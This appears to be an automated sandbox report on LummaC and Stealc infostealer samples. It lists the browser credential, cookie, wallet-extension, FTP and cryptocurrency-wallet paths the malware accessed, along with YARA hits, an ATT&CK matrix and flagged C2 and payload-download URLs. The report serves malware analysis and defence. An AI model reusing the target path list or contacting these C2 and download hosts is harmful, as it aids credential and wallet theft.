Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1438293982.0000000001494000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1438242809.000000000148C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1438136460.000000000148A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vVJvxAfBDM.exe PID: 7496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 14dd9bf3c4.exe PID: 3392, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: vVJvxAfBDM.exe PID: 7496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 14dd9bf3c4.exe PID: 3392, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 3.2.SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1691504958.0000000000281000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1693019497.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe PID: 7996, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007CEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		7_2_007CEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_007CDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		7_2_007CDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	112 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	961 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	451 Virtualization/Sandbox Evasion	DCSync	451 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
vVJvxAfBDM.exe	56%	Virustotal		Browse
vVJvxAfBDM.exe	58%	ReversingLabs	Win32.Trojan.Generic
vVJvxAfBDM.exe	100%	Avira	TR/Crypt.XPACK.Gen
vVJvxAfBDM.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\random[1].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer

Source	Detection	Scanner	Label
https://pancakedipyps.click/SuR8aH	100%	Avira URL Cloud	malware
https://pancakedipyps.click/api$r	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpT	100%	Avira URL Cloud	malware
http://185.215.113.16:80/steam/random.exeh	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phprG)x	100%	Avira URL Cloud	malware
https://pancakedipyps.click/gNeaSGx	100%	Avira URL Cloud	malware
http://31.41.244.11/files/fate/random.exe84760	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpC	100%	Avira URL Cloud	malware
http://185.215.113.16/L	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpncoded	100%	Avira URL Cloud	malware
http://185.215.113.16/~	0%	Avira URL Cloud	safe
https://pancakedipyps.click/apimo8	100%	Avira URL Cloud	malware
https://pancakedipyps.click/apin	100%	Avira URL Cloud	malware
https://pancakedipyps.click/apis	100%	Avira URL Cloud	malware
https://pancakedipyps.click/mv	100%	Avira URL Cloud	malware
